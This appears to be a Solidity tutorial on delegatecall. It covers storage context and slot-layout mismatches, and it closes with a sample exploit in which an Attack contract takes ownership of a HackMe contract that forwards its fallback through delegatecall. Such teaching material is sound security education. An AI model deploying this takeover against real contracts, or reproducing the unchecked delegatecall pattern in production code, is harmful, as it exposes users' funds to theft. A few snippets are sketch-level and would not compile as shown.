delegatecall?delegatecall is a special function in Solidity that allows a contract to execute code from another contract while using its own storage.
call vs delegatecall// Regular CALL
ContractA.call() → Executes in ContractA's context
- Uses ContractA's storage
- msg.sender = caller of ContractA
- Updates ContractA's state
// DELEGATECALL
ContractA.delegatecall(ContractB) → Executes ContractB's code in ContractA's context
- Uses ContractA's storage (NOT ContractB's!)
- msg.sender = original caller (preserved)
- Updates ContractA's state (NOT ContractB's!)
REGULAR CALL:
┌─────────┐ call() ┌─────────┐
│ You │ ────────> │ Contract│
└─────────┘ │ A │
│ storage │
└─────────┘
Modifies Contract A's storage
DELEGATECALL:
┌─────────┐ ┌─────────┐
│ You │ │Contract │
└─────────┘ │ A │
│ │ storage │ <- Modifies THIS!
│ └─────────┘
│ delegatecall() ↓
└──────────────> Uses code from Contract B
┌─────────┐
│Contract │
│ B │
│ code │
└─────────┘
contract Library {
function getInfo() public view returns (address, address, uint) {
return (
address(this), // Contract making delegatecall
msg.sender, // Original caller
msg.value // Original value sent
);
}
}
contract Caller {
function test() public payable {
(bool success, bytes memory data) = address(library).delegatecall(
abi.encodeWithSignature("getInfo()")
);
// address(this) = Caller's address (NOT Library's!)
// msg.sender = You (NOT Caller!)
// msg.value = What you sent (preserved!)
}
}
// ✅ CORRECT - Same layout
contract Library {
uint256 public num; // Slot 0
address public owner; // Slot 1
}
contract User {
uint256 public num; // Slot 0
address public owner; // Slot 1
function updateNum(uint _num) public {
library.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num));
// Updates User's slot 0 correctly!
}
}
// ❌ WRONG - Different layout
contract Library {
uint256 public num; // Slot 0
address public owner; // Slot 1
}
contract User {
address public owner; // Slot 0 <- MISMATCH!
uint256 public num; // Slot 1 <- MISMATCH!
function updateNum(uint _num) public {
library.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num));
// Updates User's slot 0 (owner) instead of slot 1 (num)!
// CATASTROPHIC!
}
}
contract Lib {
address public owner; // Slot 0
function pwn() public {
owner = msg.sender; // Writes to slot 0
}
}
contract HackMe {
address public owner; // Slot 0
Lib public lib; // Slot 1
constructor(Lib _lib) {
owner = msg.sender;
lib = _lib;
}
fallback() external payable {
// ❌ DANGEROUS: blindly delegates all calls
address(lib).delegatecall(msg.data);
}
}
contract Attack {
address public hackMe;
constructor(address _hackMe) {
hackMe = _hackMe;
}
function attack() public {
// Call HackMe's fallback with pwn() signature
hackMe.call(abi.encodeWithSignature("pwn()"));
}
}
1. Eve calls Attack.attack()
2. Attack calls HackMe.fallback with "pwn()" signature
3. HackMe.fallback executes:
lib.delegatecall(msg.data) // msg.data = "pwn()"
4. Delegatecall executes Lib.pwn() in HackMe's context:
- Uses HackMe's storage
- msg.sender = Attack (preserved through delegatecall)
- owner = msg.sender // Writes to HackMe's slot 0!
5. Result: HackMe.owner = Attack ✅ Hacked!